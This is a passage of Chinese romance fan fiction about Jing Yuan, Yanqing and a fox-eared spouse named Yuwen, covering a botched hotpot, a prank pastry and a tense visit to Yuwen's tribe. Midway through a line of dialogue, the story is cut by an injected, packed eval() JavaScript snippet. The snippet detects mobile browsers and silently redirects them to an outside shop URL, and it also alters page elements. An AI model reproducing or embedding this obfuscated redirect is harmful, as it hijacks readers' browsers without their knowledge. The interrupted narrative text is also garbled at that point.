郁闻一开始还非常顺利,但等到加麻加辣这个环节时就出了问题,郁闻把辣椒加得太多了,呛人的浓烟弥散在小小的厨房里,而有一些则顺着窗户飘了出去。 “咳咳.........” “郁闻,你还好吗?” 郁闻刚想出去,一只手就先他一步推开了门,他被揽到了怀里,呛人的浓烟被隔绝在了身后。 此时的郁闻还穿着柜子里新拆的粉格围裙,手臂上卷起的袖子已经散落了下来,他轻轻蹙着眉,眼眶泛着红,咸湿的泪水一颗接着一颗从脸颊上滑落,止也止不住。 景元捧起郁闻的脸,用冷水沾湿的毛巾轻轻擦了擦他的眼角:“别揉眼睛,我给你擦一擦。” 郁闻耷拉着耳朵,一只手下意识攥紧景元的衣袖:“抱歉,我本来想做顿火锅给你吃的........” 景元看了眼还在冒烟的锅,失笑道:“这个........下次我们一起做吧,你第一次已经表现得很不错了,之后或许我们可以从更简单的开始尝试。” 于是第一次做火锅以失败告终的郁闻最终还是乖乖坐在了餐桌上等着府里的大厨投喂。 在第一道菜端上餐桌时郁闻忽然想起了在金人巷时那个老板送他的鸣藕糕,他打开放在桌子上的纸袋,然后拿出一块鸣藕糕递到景元面前:“景元,你快尝尝这个鸣藕糕,这是金人巷的老板送我的,那个老板可热情了。” 景元一听就知道到底是怎么回事,他忍住笑意道:“既然是老板特意送给你的,那你就先尝尝吧。” 郁闻有些疑惑景元的表情怎么怪怪的,但他还是乖乖拿出鸣藕糕咬一口,就在咬下去的那一刻,类似于清脆笑声的声音突然响了起来,吓得郁闻眼睛瞪得圆圆的,耳朵也竖了起来,看着不像只狐狸,倒像只兔子。 景元笑了一声,然后没忍住伸手揉了揉郁闻毛茸茸的耳朵:“鸣藕糕好吃是好吃,但是吃下去时会发出类似于笑声的声音,这个老板估计是觉得你是外地游客所以想捉弄你一下。” “那你肯定是和老板一伙的。”郁闻红着脸将剩下的鸣藕糕塞到景元怀中,“剩下的就交给英明神武的将军大人来解决吧。” 景元看着怀里的鸣藕糕也是有些头疼,不如......到时候给彦卿这孩子吃吧。 说起彦卿,他似乎没那么忙了,有时郁闻也会在院子里看见他的身影,但每次等郁闻想上去搭话时对方又会像兔子一样一溜烟的没了踪影。 下午的时候郁闻抱着才晒好的被套往房间里走,结果脚踩上台阶时没看清,一下子踩了空,他的身体不受控制的向后面倒去,眼睛也微微瞪圆,然而就在他即将摔在地上的那一刻,彦卿从拐角处冲出来拉住了他的手。 但可惜的是郁闻本身也不是很轻,被套也很厚重,再加上重心后移,试图拉住他的彦卿也一起摔在了地上。 还好柔软的被套垫在了他们身下,否则肯定会摔得很惨,特别是身体不结实的郁闻。 彦卿撑起身子揉了揉自己的肩,然后一个鲤鱼打挺就站了起来,他把郁闻拉了起来,有些担心地询问:“你没事吧?” 但郁闻却皱着眉没说话,彦卿有些着急了,他围着郁闻转了一圈:“你是受伤了吗?我去找医师。” “虽然有事,但也没必要找医师。”郁闻伸手摘下粘在彦卿头上的草叶,“彦卿小朋友,你最近怎么不来找我了?” “彦卿小朋友?这是什么称呼哇?”彦卿后退了几步,脸上隐隐泛起了红,“我......我只是太忙了。” 郁闻弯起眉眼:“那之后有时间了可不可以来陪陪我?如果算起来的话你应该是我在这里的第一个朋友呢。” “我........” “明明年岁不大怎么和个小老头似的?”见彦卿一副纠结的模样,郁闻轻轻摸了摸他的头,“虽然不知道你在想什么.......但有些事顺着心意来就好,有时越是纠结反而越是理不清。” 彦卿抬头看了郁闻一眼,然后把地上的棉被抱了起来,他转过身开口道:“棉被是抱到你的房间吗?我帮你抱过去吧。” 看着彦卿微微僵硬的动作,郁闻没忍住在心中笑了笑。 这几日景元已经痊愈,又恢复了以往的模样,不过那些恼人的工作也来得非常及时,让景元几乎离不开书房。 郁闻心疼景元,所以经常在他办公时送些茶水和水果,还会主动帮他磨墨,而朔雪则一直趴在景元的房门口,活像镇宅的石狮子。 郁闻照例端着茶水敲响了景元书房的门,此时的景元一只手撑着脑袋,一只手翻看着卷宗,比起平日里郁闻所看见的那副随和的模样更添了一份厉色。 “喝口茶吧,别让自己太累了。” “谢谢你的茶。” 景元朝郁闻笑了笑,接着便从书桌上抽出了一份文件递给了郁闻,“郁闻,这份文件是和你们部族有关的,这次就麻烦你去送一趟吧,顺便还可以让你和你部族里面的朋友好好叙叙旧,自从你嫁过来后已经很久没有见过你们部族的朋友了吧。” “是啊,之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123017|195986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前部族里的孩子总会缠着我讲故事,不知道现在他们都怎么样了。”郁闻接过文件,然后凑近景元轻轻在他脸颊边吻了吻:“等我回来。” 这个突如其来的吻一触即分,让景元避无可避,柔软的唇带着温热轻轻停留在他的脸侧,就好像有蝴蝶短暂驻足过一般。 景元望着郁闻的身影,默默伸手揉了揉被亲吻过的脸侧,这还真是............ 如今来到罗浮仙舟的弥璇族大多居住在长乐天里,部族的族长也是一样,郁闻带着文件来到族长所居住的小院,却在门口被守卫拦了下来。 其中一个守卫询问:“你是什么人?!” 郁闻拿出景元交给他的文件,回答道:“你不认识我吗?我是郁闻,来给族长送文件,这是府里的将军让我转交给族长的。” 另一个守卫打量了郁闻一番,然后立马跑了进去,没过多久,熟悉的人便出现在了郁闻面前。 玉拂亲热地朝郁闻打招呼:“哎呀,没想到我们这么快就见面了,我听说了,你是来给族长送文件的是吗?很不巧,族长这个时候在休息,估计没办法见人。” 郁闻有些犹豫:“可是.........” “可是什么?把文件给我吧,我会交给我的父亲。”就在郁闻犹豫的时候,族长的长子里弦走了出来,他穿着浴袍披着外套,身上还沾着水珠,应该是才沐浴过,他神色倨傲地看着郁闻,“怎么,还是说你有别的问题?” 虽然郁闻很疑惑为什么这些人不愿意放他进去见族长,但想到里弦是族长的长子,交给他也一样,所以郁闻考虑了一番还是将文件交到了里弦的手上,同时嘱咐道:“请一定记得要交到族长的手中。” 里弦嗤笑了一声:“当然,我会记得交到族长的手上。” 郁闻总感觉刚刚的两人奇怪得很,即使是族长休息了也没有把他拦在外面的道理,他正皱着眉思索着,结果却撞到了什么东西。 “郁闻?” 这个声音是......... 郁闻抬起头,果不其然,这是族长的二子常天,相比起总是用鼻孔看人的里弦,郁闻还是更喜欢常天一些,之前在族里时他和常天还经常偷溜出去买点心吃。 郁闻朝常天露出笑容:“许久未见,你看起来比之前成熟了不少。” “是啊,好久没见了,没想到现在你已经嫁给了罗浮的那位将军,当时我本想阻止的,但却被父亲关了禁闭。”常天看着郁闻,轻轻叹了口气:“最近发生的事情太多了,我一直认为现下的生活已经足够好了,但哥哥却总想着获取更多的利益和好处,现在族内的大家也渐渐有分为两派的趋势..........” 听见族内开始意见不合,郁闻也有些担忧,他看向刚刚离开的方向,内心陡然生出了一些惶恐不安。 总感觉事情没有那么简单......